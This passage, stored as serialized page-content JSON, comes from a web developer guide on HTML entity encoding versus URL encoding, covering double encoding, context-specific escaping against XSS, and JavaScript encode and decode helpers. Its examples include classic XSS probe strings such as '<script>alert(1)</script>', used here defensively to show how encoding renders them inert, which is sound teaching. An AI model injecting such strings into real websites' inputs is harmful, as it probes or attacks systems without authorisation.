data:",[135,119637,119639],{"className":1607,"code":119638,"language":1609,"meta":141,"style":141},"\u002F\u002F Double URL encoding\nencodeURIComponent(encodeURIComponent('a&b'))\n\u002F\u002F \"a%2526b\" — the server reads \"a%26b\" instead of \"a&b\"\n\n\u002F\u002F Double HTML encoding\nencodeHtml(encodeHtml('5 > 3'))\n\u002F\u002F \"5 &amp;gt; 3\" — renders as \"5 &gt; 3\" instead of \"5 > 3\"\n",[143,119640,119641,119646,119661,119666,119670,119675,119691],{"__ignoreMap":141},[1560,119642,119643],{"class":1562,"line":1563},[1560,119644,119645],{"class":1649},"\u002F\u002F Double URL encoding\n",[1560,119647,119648,119650,119652,119654,119656,119659],{"class":1562,"line":337},[1560,119649,33827],{"class":1566},[1560,119651,1688],{"class":1570},[1560,119653,33827],{"class":1566},[1560,119655,1688],{"class":1570},[1560,119657,119658],{"class":5634},"'a&b'",[1560,119660,9429],{"class":1570},[1560,119662,119663],{"class":1562,"line":343},[1560,119664,119665],{"class":1649},"\u002F\u002F \"a%2526b\" — the server reads \"a%26b\" instead of \"a&b\"\n",[1560,119667,119668],{"class":1562,"line":365},[1560,119669,1702],{"emptyLinePlaceholder":363},[1560,119671,119672],{"class":1562,"line":889},[1560,119673,119674],{"class":1649},"\u002F\u002F Double HTML encoding\n",[1560,119676,119677,119680,119682,119684,119686,119689],{"class":1562,"line":1710},[1560,119678,119679],{"class":1566},"encodeHtml",[1560,119681,1688],{"class":1570},[1560,119683,119679],{"class":1566},[1560,119685,1688],{"class":1570},[1560,119687,119688],{"class":5634},"'5 > 3'",[1560,119690,9429],{"class":1570},[1560,119692,119693],{"class":1562,"line":1717},[1560,119694,119695],{"class":1649},"\u002F\u002F \"5 &amp;gt; 3\" — renders as \"5 &gt; 3\" instead of \"5 > 3\"\n",[16,119697,119698,119700],{},[47,119699,118614],{}," Encode once, at the boundary where the data enters that context. Never stack the same encoding.",[11,119702,119704],{"id":119703},"encoding-for-xss-prevention","Encoding for XSS Prevention",[16,119706,119707,119708,468],{},"Encoding is your first line of defense against cross-site scripting. The key principle: ",[47,119709,119710],{},"encode for the correct output context",[193,119712,119713,119725],{},[196,119714,119715],{},[199,119716,119717,119720,119723],{},[202,119718,119719],{},"Output Context",[202,119721,119722],{},"Encoding Method",[202,119724,133],{},[211,119726,119727,119739,119752,119765,119778],{},[199,119728,119729,119732,119735],{},[216,119730,119731],{},"HTML text content",[216,119733,119734],{},"HTML entity encode",[216,119736,119737],{},[143,119738,118388],{},[199,119740,119741,119744,119747],{},[216,119742,119743],{},"HTML attribute value",[216,119745,119746],{},"HTML entity encode (with quotes)",[216,119748,119749],{},[143,119750,119751],{},"title=\"Hello &amp; World\"",[199,119753,119754,119757,119760],{},[216,119755,119756],{},"URL query parameter",[216,119758,119759],{},"URL encode",[216,119761,119762],{},[143,119763,119764],{},"?q=hello%20world",[199,119766,119767,119770,119773],{},[216,119768,119769],{},"JavaScript string",[216,119771,119772],{},"JavaScript string escape",[216,119774,119775],{},[143,119776,119777],{},"O\\'Reilly",[199,119779,119780,119783,119786],{},[216,119781,119782],{},"CSS property value",[216,119784,119785],{},"CSS escape",[216,119787,119788],{},"Different format entirely",[16,119790,119791,119792,119794],{},"A common mistake: URL-encoding data that goes into HTML text content. This does ",[47,119793,28839],{}," prevent XSS, because the browser does not URL-decode text nodes.",[135,119796,119798],{"className":6417,"code":119797,"language":6419,"meta":141,"style":141},"\u003C!-- WRONG: URL encoding does nothing in HTML text -->\n\u003Cp>User input: %3Cscript%3Ealert(1)%3C\u002Fscript%3E\u003C\u002Fp>\n\u003C!-- Browser renders literally: User input: %3Cscript%3Ealert(1)%3C\u002Fscript%3E -->\n\u003C!-- Actually safe from XSS, but wrong display — just use HTML encoding -->\n\n\u003C!-- CORRECT: HTML entity encoding for HTML text -->\n\u003Cp>User input: &lt;script&gt;alert(1)&lt;\u002Fscript&gt;\u003C\u002Fp>\n\u003C!-- Browser renders: User input: \u003Cscript>alert(1)\u003C\u002Fscript> (as visible text) -->\n",[143,119799,119800,119805,119818,119823,119828,119832,119837,119868],{"__ignoreMap":141},[1560,119801,119802],{"class":1562,"line":1563},[1560,119803,119804],{"class":1649},"\u003C!-- WRONG: URL encoding does nothing in HTML text -->\n",[1560,119806,119807,119809,119811,119814,119816],{"class":1562,"line":337},[1560,119808,6431],{"class":1570},[1560,119810,16],{"class":2484},[1560,119812,119813],{"class":1570},">User input: %3Cscript%3Ealert(1)%3C\u002Fscript%3E\u003C\u002F",[1560,119815,16],{"class":2484},[1560,119817,6441],{"class":1570},[1560,119819,119820],{"class":1562,"line":343},[1560,119821,119822],{"class":1649},"\u003C!-- Browser renders literally: User input: %3Cscript%3Ealert(1)%3C\u002Fscript%3E -->\n",[1560,119824,119825],{"class":1562,"line":365},[1560,119826,119827],{"class":1649},"\u003C!-- Actually safe from XSS, but wrong display — just use HTML encoding -->\n",[1560,119829,119830],{"class":1562,"line":889},[1560,119831,1702],{"emptyLinePlaceholder":363},[1560,119833,119834],{"class":1562,"line":1710},[1560,119835,119836],{"class":1649},"\u003C!-- CORRECT: HTML entity encoding for HTML text -->\n",[1560,119838,119839,119841,119843,119846,119848,119850,119852,119855,119857,119860,119862,119864,119866],{"class":1562,"line":1717},[1560,119840,6431],{"class":1570},[1560,119842,16],{"class":2484},[1560,119844,119845],{"class":1570},">User input: ",[1560,119847,116644],{"class":1576},[1560,119849,11475],{"class":1570},[1560,119851,116658],{"class":1576},[1560,119853,119854],{"class":1570},"alert(1)",[1560,119856,116644],{"class":1576},[1560,119858,119859],{"class":1570},"\u002Fscript",[1560,119861,116658],{"class":1576},[1560,119863,11242],{"class":1570},[1560,119865,16],{"class":2484},[1560,119867,6441],{"class":1570},[1560,119869,119870],{"class":1562,"line":1747},[1560,119871,119872],{"class":1649},"\u003C!-- Browser renders: User input: \u003Cscript>alert(1)\u003C\u002Fscript> (as visible text) -->\n",[11,119874,119876],{"id":119875},"combining-both-encodings","Combining Both Encodings",[16,119878,119879],{},"The most common real-world scenario: building an HTML page that contains a link with dynamic query parameters.",[135,119881,119883],{"className":1607,"code":119882,"language":1609,"meta":141,"style":141},"\u002F\u002F Step 1: URL-encode your parameter values\nconst tag = 'html & css'\nconst sort = 'newest'\nconst query = `tag=${encodeURIComponent(tag)}&sort=${encodeURIComponent(sort)}`\n\u002F\u002F \"tag=html%20%26%20css&sort=newest\"\n\n\u002F\u002F Step 2: HTML-encode the & separators when placing inside an attribute\nconst href = query.replace(\u002F&\u002Fg, '&amp;')\n\u002F\u002F \"tag=html%20%26%20css&amp;sort=newest\"\n\n\u002F\u002F Step 3: Insert into HTML\nconst html = `\u003Ca href=\"\u002Fsearch?${href}\">Search\u003C\u002Fa>`\n",[143,119884,119885,119890,119902,119914,119947,119952,119956,119961,119990,119995,119999,120004],{"__ignoreMap":141},[1560,119886,119887],{"class":1562,"line":1563},[1560,119888,119889],{"class":1649},"\u002F\u002F Step 1: URL-encode your parameter values\n",[1560,119891,119892,119894,119897,119899],{"class":1562,"line":337},[1560,119893,8180],{"class":1669},[1560,119895,119896],{"class":1576}," tag",[1560,119898,8186],{"class":1669},[1560,119900,119901],{"class":5634}," 'html & css'\n",[1560,119903,119904,119906,119909,119911],{"class":1562,"line":343},[1560,119905,8180],{"class":1669},[1560,119907,119908],{"class":1576}," sort",[1560,119910,8186],{"class":1669},[1560,119912,119913],{"class":5634}," 'newest'\n",[1560,119915,119916,119918,119920,119922,119925,119927,119929,119932,119934,119937,119939,119941,119943,119945],{"class":1562,"line":365},[1560,119917,8180],{"class":1669},[1560,119919,34062],{"class":1576},[1560,119921,8186],{"class":1669},[1560,119923,119924],{"class":5634}," `tag=${",[1560,119926,33827],{"class":1566},[1560,119928,1688],{"class":5634},[1560,119930,119931],{"class":1570},"tag",[1560,119933,1525],{"class":5634},[1560,119935,119936],{"class":5634},"}&sort=${",[1560,119938,33827],{"class":1566},[1560,119940,1688],{"class":5634},[1560,119942,100488],{"class":1570},[1560,119944,1525],{"class":5634},[1560,119946,100442],{"class":5634},[1560,119948,119949],{"class":1562,"line":889},[1560,119950,119951],{"class":1649},"\u002F\u002F \"tag=html%20%26%20css&sort=newest\"\n",[1560,119953,119954],{"class":1562,"line":1710},[1560,119955,1702],{"emptyLinePlaceholder":363},[1560,119957,119958],{"class":1562,"line":1717},[1560,119959,119960],{"class":1649},"\u002F\u002F Step 2: HTML-encode the & separators when placing inside an attribute\n",[1560,119962,119963,119965,119967,119969,119972,119974,119976,119978,119980,119982,119984,119986,119988],{"class":1562,"line":1747},[1560,119964,8180],{"class":1669},[1560,119966,41004],{"class":1576},[1560,119968,8186],{"class":1669},[1560,119970,119971],{"class":1570}," query.",[1560,119973,22721],{"class":1566},[1560,119975,1688],{"class":1570},[1560,119977,9423],{"class":5634},[1560,119979,13530],{"class":11919},[1560,119981,9423],{"class":5634},[1560,119983,22733],{"class":1669},[1560,119985,1459],{"class":1570},[1560,119987,117116],{"class":5634},[1560,119989,8252],{"class":1570},[1560,119991,119992],{"class":1562,"line":2507},[1560,119993,119994],{"class":1649},"\u002F\u002F \"tag=html%20%26%20css&amp;sort=newest\"\n",[1560,119996,119997],{"class":1562,"line":2524},[1560,119998,1702],{"emptyLinePlaceholder":363},[1560,120000,120001],{"class":1562,"line":2529},[1560,120002,120003],{"class":1649},"\u002F\u002F Step 3: Insert into HTML\n",[1560,120005,120006,120008,120010,120012,120015,120017],{"class":1562,"line":2534},[1560,120007,8180],{"class":1669},[1560,120009,108795],{"class":1576},[1560,120011,8186],{"class":1669},[1560,120013,120014],{"class":5634}," `\u003Ca href=\"\u002Fsearch?${",[1560,120016,98766],{"class":1570},[1560,120018,120019],{"class":5634},"}\">Search\u003C\u002Fa>`\n",[16,120021,120022],{},"Frameworks like Vue and React handle step 2 automatically when you bind attributes. You still need to handle step 1 yourself.",[11,120024,1355],{"id":1354},[41,120026,120027,120030,120033,120036,120039,120042],{},[44,120028,120029],{},"HTML encoding protects the HTML parser; URL encoding protects the URL parser",[44,120031,120032],{},"Apply HTML encoding when inserting data into HTML text or attributes",[44,120034,120035],{},"Apply URL encoding when inserting data into URL paths or query strings",[44,120037,120038],{},"When URLs appear inside HTML, you may need both encodings — URL-encode the data first, HTML-encode the attribute delimiters",[44,120040,120041],{},"Never use the wrong encoding for the context — URL encoding inside HTML text does not prevent XSS",[44,120043,120044],{},"Avoid double encoding the same layer; encode once at the boundary",[11,120046,321],{"id":320},[41,120048,120049,120053,120057],{},[44,120050,120051],{},[98,120052,117626],{"href":117625},[44,120054,120055],{},[98,120056,117632],{"href":117631},[44,120058,120059],{},[98,120060,120062],{"href":120061},"\u002Fguides\u002Fpercent-encoding-reference","Percent-Encoding Reference",[11,120064,286],{"id":285},[16,120066,120067],{},"Encode and decode HTML entities and URLs with our free tools:",[41,120069,120070,120075],{},[44,120071,120072,120074],{},[98,120073,117645],{"href":117644}," — convert special characters to entity codes and back",[44,120076,120077,120080],{},[98,120078,120079],{"href":34509},"URL Encoder\u002FDecoder"," — percent-encode and decode URL components",[2043,120082,120083],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .s7hpK, html code.shiki .s7hpK{--shiki-default:#B31D28;--shiki-default-font-style:italic;--shiki-dark:#FDAEB7;--shiki-dark-font-style:italic}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sA_wV, html code.shiki .sA_wV{--shiki-default:#032F62;--shiki-dark:#DBEDFF}",{"title":141,"searchDepth":337,"depth":337,"links":120085},[120086,120087,120088,120089,120090,120095,120096,120097,120098,120099],{"id":119133,"depth":337,"text":119134},{"id":118264,"depth":337,"text":118265},{"id":119228,"depth":337,"text":119229},{"id":119335,"depth":337,"text":119336},{"id":119430,"depth":337,"text":119431,"children":120091},[120092,120093,120094],{"id":119434,"depth":343,"text":119435},{"id":119557,"depth":343,"text":119558},{"id":119631,"depth":343,"text":119632},{"id":119703,"depth":337,"text":119704},{"id":119875,"depth":337,"text":119876},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Understanding the difference between HTML entity encoding and URL percent-encoding, and when to apply each method.",{"immutable":363},{"title":119128,"description":120100},"guides\u002Fhtml-encoding-vs-url-encoding","n7o6iV2XpALJZCE5vpJMy-J56EVFV8OPB17sTqgQ1nw",{"id":120106,"title":120107,"body":120108,"date":2070,"description":121161,"extension":361,"meta":121162,"navigation":363,"path":117625,"readingTime":1710,"seo":121163,"stem":121164,"__hash__":121165},"guides\u002Fguides\u002Fhtml-entities-guide.md","HTML Entities Guide: Encoding Special Characters for the Web",{"type":8,"value":120109,"toc":121139},[120110,120114,120122,120131,120135,120138,120204,120207,120211,120217,120221,120225,120234,120293,120297,120300,120304,120312,120316,120319,120323,120777,120781,120784,120788,120862,120877,120881,120957,120967,120971,120980,121023,121025,121077,121079,121114,121116,121130,121132,121136],[11,120111,120113],{"id":120112},"what-are-html-entities","What Are HTML Entities?",[16,120115,120116,120117,1856,120119,120121],{},"HTML entities are special codes that represent characters you cannot safely type directly into HTML. They let you display reserved characters like ",[143,120118,6431],{},[143,120120,28226],{}," without confusing the browser's parser.",[16,120123,120124,120125,120127,120128,120130],{},"Every HTML document relies on entities — often without you noticing. If you've ever written ",[143,120126,98619],{}," instead of a bare ",[143,120129,13530],{},", you've used an HTML entity.",[11,120132,120134],{"id":120133},"three-entity-formats","Three Entity Formats",[16,120136,120137],{},"HTML supports three ways to write the same character:",[193,120139,120140,120153],{},[196,120141,120142],{},[199,120143,120144,120146,120148,120150],{},[202,120145,13018],{},[202,120147,28715],{},[202,120149,133],{},[202,120151,120152],{},"Renders As",[211,120154,120155,120170,120187],{},[199,120156,120157,120160,120164,120168],{},[216,120158,120159],{},"Named",[216,120161,120162],{},[143,120163,119386],{},[216,120165,120166],{},[143,120167,98619],{},[216,120169,13530],{},[199,120171,120172,120175,120180,120185],{},[216,120173,120174],{},"Decimal numeric",[216,120176,120177],{},[143,120178,120179],{},"&#code;",[216,120181,120182],{},[143,120183,120184],{},"&#38;",[216,120186,13530],{},[199,120188,120189,120192,120197,120202],{},[216,120190,120191],{},"Hexadecimal numeric",[216,120193,120194],{},[143,120195,120196],{},"&#xcode;",[216,120198,120199],{},[143,120200,120201],{},"&#x26;",[216,120203,13530],{},[16,120205,120206],{},"Named entities are the easiest to read and remember. Numeric entities cover characters that lack a named equivalent — useful for rare symbols, emojis, and CJK characters.",[33,120208,120210],{"id":120209},"why-three-formats","Why three formats?",[16,120212,120213,120214,9368],{},"Named entities improve readability. Decimal and hexadecimal codes give you access to every Unicode code point, even those without assigned names. Hexadecimal is popular because it matches Unicode chart notation (e.g., U+00A9 = ",[143,120215,120216],{},"&#x00A9;",[11,120218,120220],{"id":120219},"why-you-need-html-entities","Why You Need HTML Entities",[33,120222,120224],{"id":120223},"_1-prevent-parsing-errors","1. Prevent parsing errors",[16,120226,7415,120227,1459,120229,1466,120231,120233],{},[143,120228,6431],{},[143,120230,28226],{},[143,120232,13530],{}," have structural meaning in HTML. Using them as data without encoding breaks the markup:",[135,120235,120237],{"className":6417,"code":120236,"language":6419,"meta":141,"style":141},"\u003C!-- BROKEN: browser thinks this is a tag -->\n\u003Cp>If x \u003C y, then y > x\u003C\u002Fp>\n\n\u003C!-- CORRECT: entities protect the content -->\n\u003Cp>If x &lt; y, then y &gt; x\u003C\u002Fp>\n",[143,120238,120239,120244,120262,120266,120271],{"__ignoreMap":141},[1560,120240,120241],{"class":1562,"line":1563},[1560,120242,120243],{"class":1649},"\u003C!-- BROKEN: browser thinks this is a tag -->\n",[1560,120245,120246,120248,120250,120253,120255,120258,120260],{"class":1562,"line":337},[1560,120247,6431],{"class":1570},[1560,120249,16],{"class":2484},[1560,120251,120252],{"class":1570},">If x ",[1560,120254,6431],{"class":5159},[1560,120256,120257],{"class":1570}," y, then y > x\u003C\u002F",[1560,120259,16],{"class":2484},[1560,120261,6441],{"class":1570},[1560,120263,120264],{"class":1562,"line":343},[1560,120265,1702],{"emptyLinePlaceholder":363},[1560,120267,120268],{"class":1562,"line":365},[1560,120269,120270],{"class":1649},"\u003C!-- CORRECT: entities protect the content -->\n",[1560,120272,120273,120275,120277,120279,120281,120284,120286,120289,120291],{"class":1562,"line":889},[1560,120274,6431],{"class":1570},[1560,120276,16],{"class":2484},[1560,120278,120252],{"class":1570},[1560,120280,116644],{"class":1576},[1560,120282,120283],{"class":1570}," y, then y ",[1560,120285,116658],{"class":1576},[1560,120287,120288],{"class":1570}," x\u003C\u002F",[1560,120290,16],{"class":2484},[1560,120292,6441],{"class":1570},[33,120294,120296],{"id":120295},"_2-display-invisible-or-ambiguous-characters","2. Display invisible or ambiguous characters",[16,120298,120299],{},"Some characters are invisible (non-breaking space) or ambiguous (soft hyphen). Entities make them explicit in your source code.",[33,120301,120303],{"id":120302},"_3-defend-against-xss","3. Defend against XSS",[16,120305,120306,120307,34471,120309,120311],{},"Encoding user-supplied output as HTML entities is a core XSS mitigation. When you convert ",[143,120308,34727],{},[143,120310,118388],{},", the browser renders it as text instead of executing it.",[33,120313,120315],{"id":120314},"_4-insert-symbols-and-special-characters","4. Insert symbols and special characters",[16,120317,120318],{},"Copyright signs, currency symbols, math operators, and arrows all have entity codes that work reliably across encodings.",[11,120320,120322],{"id":120321},"common-html-entities","Common HTML Entities",[193,120324,120325,120339],{},[196,120326,120327],{},[199,120328,120329,120331,120333,120335,120337],{},[202,120330,7809],{},[202,120332,117802],{},[202,120334,5271],{},[202,120336,4031],{},[202,120338,207],{},[211,120340,120341,120360,120381,120402,120423,120443,120465,120485,120508,120530,120550,120570,120593,120616,120639,120662,120685,120708,120731,120754],{},[199,120342,120343,120345,120349,120353,120357],{},[216,120344,13530],{},[216,120346,120347],{},[143,120348,98619],{},[216,120350,120351],{},[143,120352,120184],{},[216,120354,120355],{},[143,120356,120201],{},[216,120358,120359],{},"Ampersand",[199,120361,120362,120364,120368,120373,120378],{},[216,120363,6431],{},[216,120365,120366],{},[143,120367,116644],{},[216,120369,120370],{},[143,120371,120372],{},"&#60;",[216,120374,120375],{},[143,120376,120377],{},"&#x3C;",[216,120379,120380],{},"Less than",[199,120382,120383,120385,120389,120394,120399],{},[216,120384,28226],{},[216,120386,120387],{},[143,120388,116658],{},[216,120390,120391],{},[143,120392,120393],{},"&#62;",[216,120395,120396],{},[143,120397,120398],{},"&#x3E;",[216,120400,120401],{},"Greater than",[199,120403,120404,120406,120410,120415,120420],{},[216,120405,8721],{},[216,120407,120408],{},[143,120409,116672],{},[216,120411,120412],{},[143,120413,120414],{},"&#34;",[216,120416,120417],{},[143,120418,120419],{},"&#x22;",[216,120421,120422],{},"Double quote",[199,120424,120425,120427,120431,120435,120440],{},[216,120426,9361],{},[216,120428,120429],{},[143,120430,117781],{},[216,120432,120433],{},[143,120434,116686],{},[216,120436,120437],{},[143,120438,120439],{},"&#x27;",[216,120441,120442],{},"Apostrophe",[199,120444,120445,120447,120452,120457,120462],{},[216,120446],{},[216,120448,120449],{},[143,120450,120451],{},"&nbsp;",[216,120453,120454],{},[143,120455,120456],{},"&#160;",[216,120458,120459],{},[143,120460,120461],{},"&#xA0;",[216,120463,120464],{},"Non-breaking space",[199,120466,120467,120469,120473,120478,120483],{},[216,120468,118433],{},[216,120470,120471],{},[143,120472,118430],{},[216,120474,120475],{},[143,120476,120477],{},"&#169;",[216,120479,120480],{},[143,120481,120482],{},"&#xA9;",[216,120484,83562],{},[199,120486,120487,120490,120495,120500,120505],{},[216,120488,120489],{},"®",[216,120491,120492],{},[143,120493,120494],{},"&reg;",[216,120496,120497],{},[143,120498,120499],{},"&#174;",[216,120501,120502],{},[143,120503,120504],{},"&#xAE;",[216,120506,120507],{},"Registered trademark",[199,120509,120510,120513,120518,120523,120528],{},[216,120511,120512],{},"™",[216,120514,120515],{},[143,120516,120517],{},"&trade;",[216,120519,120520],{},[143,120521,120522],{},"&#8482;",[216,120524,120525],{},[143,120526,120527],{},"&#x2122;",[216,120529,83568],{},[199,120531,120532,120534,120538,120542,120547],{},[216,120533,3060],{},[216,120535,120536],{},[143,120537,117817],{},[216,120539,120540],{},[143,120541,117688],{},[216,120543,120544],{},[143,120545,120546],{},"&#x2014;",[216,120548,120549],{},"Em dash",[199,120551,120552,120554,120558,120562,120567],{},[216,120553,1811],{},[216,120555,120556],{},[143,120557,117833],{},[216,120559,120560],{},[143,120561,117838],{},[216,120563,120564],{},[143,120565,120566],{},"&#x2013;",[216,120568,120569],{},"En dash",[199,120571,120572,120575,120580,120585,120590],{},[216,120573,120574],{},"«",[216,120576,120577],{},[143,120578,120579],{},"&laquo;",[216,120581,120582],{},[143,120583,120584],{},"&#171;",[216,120586,120587],{},[143,120588,120589],{},"&#xAB;",[216,120591,120592],{},"Left angle quote",[199,120594,120595,120598,120603,120608,120613],{},[216,120596,120597],{},"»",[216,120599,120600],{},[143,120601,120602],{},"&raquo;",[216,120604,120605],{},[143,120606,120607],{},"&#187;",[216,120609,120610],{},[143,120611,120612],{},"&#xBB;",[216,120614,120615],{},"Right angle quote",[199,120617,120618,120621,120626,120631,120636],{},[216,120619,120620],{},"°",[216,120622,120623],{},[143,120624,120625],{},"&deg;",[216,120627,120628],{},[143,120629,120630],{},"&#176;",[216,120632,120633],{},[143,120634,120635],{},"&#xB0;",[216,120637,120638],{},"Degree",[199,120640,120641,120644,120649,120654,120659],{},[216,120642,120643],{},"±",[216,120645,120646],{},[143,120647,120648],{},"&plusmn;",[216,120650,120651],{},[143,120652,120653],{},"&#177;",[216,120655,120656],{},[143,120657,120658],{},"&#xB1;",[216,120660,120661],{},"Plus-minus",[199,120663,120664,120667,120672,120677,120682],{},[216,120665,120666],{},"×",[216,120668,120669],{},[143,120670,120671],{},"&times;",[216,120673,120674],{},[143,120675,120676],{},"&#215;",[216,120678,120679],{},[143,120680,120681],{},"&#xD7;",[216,120683,120684],{},"Multiplication",[199,120686,120687,120690,120695,120700,120705],{},[216,120688,120689],{},"÷",[216,120691,120692],{},[143,120693,120694],{},"&divide;",[216,120696,120697],{},[143,120698,120699],{},"&#247;",[216,120701,120702],{},[143,120703,120704],{},"&#xF7;",[216,120706,120707],{},"Division",[199,120709,120710,120713,120718,120723,120728],{},[216,120711,120712],{},"€",[216,120714,120715],{},[143,120716,120717],{},"&euro;",[216,120719,120720],{},[143,120721,120722],{},"&#8364;",[216,120724,120725],{},[143,120726,120727],{},"&#x20AC;",[216,120729,120730],{},"Euro",[199,120732,120733,120736,120741,120746,120751],{},[216,120734,120735],{},"£",[216,120737,120738],{},[143,120739,120740],{},"&pound;",[216,120742,120743],{},[143,120744,120745],{},"&#163;",[216,120747,120748],{},[143,120749,120750],{},"&#xA3;",[216,120752,120753],{},"Pound sterling",[199,120755,120756,120759,120764,120769,120774],{},[216,120757,120758],{},"¥",[216,120760,120761],{},[143,120762,120763],{},"&yen;",[216,120765,120766],{},[143,120767,120768],{},"&#165;",[216,120770,120771],{},[143,120772,120773],{},"&#xA5;",[216,120775,120776],{},"Yen",[11,120778,120780],{"id":120779},"encoding-and-decoding-in-javascript","Encoding and Decoding in JavaScript",[16,120782,120783],{},"Modern browsers provide built-in APIs for working with HTML entities:",[33,120785,120787],{"id":120786},"encoding-escaping","Encoding (escaping)",[135,120789,120791],{"className":1607,"code":120790,"language":1609,"meta":141,"style":141},"function encodeHtml(text) {\n  const el = document.createElement('div')\n  el.textContent = text\n  return el.innerHTML\n}\n\nencodeHtml('\u003Cscript>alert(\"xss\")\u003C\u002Fscript>')\n\u002F\u002F \"&lt;script&gt;alert(\\\"xss\\\")&lt;\u002Fscript&gt;\"\n",[143,120792,120793,120805,120823,120832,120838,120842,120846,120857],{"__ignoreMap":141},[1560,120794,120795,120797,120799,120801,120803],{"class":1562,"line":1563},[1560,120796,8648],{"class":1669},[1560,120798,118846],{"class":1566},[1560,120800,1688],{"class":1570},[1560,120802,140],{"class":2219},[1560,120804,9345],{"class":1570},[1560,120806,120807,120809,120811,120813,120815,120817,120819,120821],{"class":1562,"line":337},[1560,120808,28057],{"class":1669},[1560,120810,118859],{"class":1576},[1560,120812,8186],{"class":1669},[1560,120814,11555],{"class":1570},[1560,120816,11558],{"class":1566},[1560,120818,1688],{"class":1570},[1560,120820,118870],{"class":5634},[1560,120822,8252],{"class":1570},[1560,120824,120825,120827,120829],{"class":1562,"line":343},[1560,120826,118877],{"class":1570},[1560,120828,7297],{"class":1669},[1560,120830,120831],{"class":1570}," text\n",[1560,120833,120834,120836],{"class":1562,"line":365},[1560,120835,9350],{"class":1669},[1560,120837,118888],{"class":1570},[1560,120839,120840],{"class":1562,"line":889},[1560,120841,1585],{"class":1570},[1560,120843,120844],{"class":1562,"line":1710},[1560,120845,1702],{"emptyLinePlaceholder":363},[1560,120847,120848,120850,120852,120855],{"class":1562,"line":1717},[1560,120849,119679],{"class":1566},[1560,120851,1688],{"class":1570},[1560,120853,120854],{"class":5634},"'\u003Cscript>alert(\"xss\")\u003C\u002Fscript>'",[1560,120856,8252],{"class":1570},[1560,120858,120859],{"class":1562,"line":1747},[1560,120860,120861],{"class":1649},"\u002F\u002F \"&lt;script&gt;alert(\\\"xss\\\")&lt;\u002Fscript&gt;\"\n",[16,120863,77144,120864,120867,120868,1459,120870,1459,120872,1459,120874,120876],{},[143,120865,120866],{},"textContent"," escapes all HTML-meaningful characters automatically. The browser handles ",[143,120869,6431],{},[143,120871,28226],{},[143,120873,13530],{},[143,120875,8721],{}," and more.",[33,120878,120880],{"id":120879},"decoding-unescaping","Decoding (unescaping)",[135,120882,120884],{"className":1607,"code":120883,"language":1609,"meta":141,"style":141},"function decodeHtml(entity) {\n  const el = document.createElement('div')\n  el.innerHTML = entity\n  return el.textContent\n}\n\ndecodeHtml('&lt;p&gt;Hello&lt;\u002Fp&gt;')\n\u002F\u002F \"\u003Cp>Hello\u003C\u002Fp>\"\n",[143,120885,120886,120899,120917,120926,120932,120936,120940,120952],{"__ignoreMap":141},[1560,120887,120888,120890,120892,120894,120897],{"class":1562,"line":1563},[1560,120889,8648],{"class":1669},[1560,120891,118908],{"class":1566},[1560,120893,1688],{"class":1570},[1560,120895,120896],{"class":2219},"entity",[1560,120898,9345],{"class":1570},[1560,120900,120901,120903,120905,120907,120909,120911,120913,120915],{"class":1562,"line":337},[1560,120902,28057],{"class":1669},[1560,120904,118859],{"class":1576},[1560,120906,8186],{"class":1669},[1560,120908,11555],{"class":1570},[1560,120910,11558],{"class":1566},[1560,120912,1688],{"class":1570},[1560,120914,118870],{"class":5634},[1560,120916,8252],{"class":1570},[1560,120918,120919,120921,120923],{"class":1562,"line":343},[1560,120920,118937],{"class":1570},[1560,120922,7297],{"class":1669},[1560,120924,120925],{"class":1570}," entity\n",[1560,120927,120928,120930],{"class":1562,"line":365},[1560,120929,9350],{"class":1669},[1560,120931,118948],{"class":1570},[1560,120933,120934],{"class":1562,"line":889},[1560,120935,1585],{"class":1570},[1560,120937,120938],{"class":1562,"line":1710},[1560,120939,1702],{"emptyLinePlaceholder":363},[1560,120941,120942,120945,120947,120950],{"class":1562,"line":1717},[1560,120943,120944],{"class":1566},"decodeHtml",[1560,120946,1688],{"class":1570},[1560,120948,120949],{"class":5634},"'&lt;p&gt;Hello&lt;\u002Fp&gt;'",[1560,120951,8252],{"class":1570},[1560,120953,120954],{"class":1562,"line":1747},[1560,120955,120956],{"class":1649},"\u002F\u002F \"\u003Cp>Hello\u003C\u002Fp>\"\n",[16,120958,120959,120960,120963,120964,120966],{},"Writing to ",[143,120961,120962],{},"innerHTML"," parses the entities, and ",[143,120965,120866],{}," retrieves the decoded text.",[33,120968,120970],{"id":120969},"server-side-with-nodejs","Server-side with Node.js",[16,120972,120973,120974,1531,120977,8037],{},"If you work outside the browser, use a library like ",[143,120975,120976],{},"he",[143,120978,120979],{},"html-entities",[135,120981,120983],{"className":1607,"code":120982,"language":1609,"meta":141,"style":141},"import { encode, decode } from 'he'\n\nencode('5 > 3 & 2 \u003C 4')  \u002F\u002F \"5 &gt; 3 &amp; 2 &lt; 4\"\ndecode('&copy; 2026')     \u002F\u002F \"© 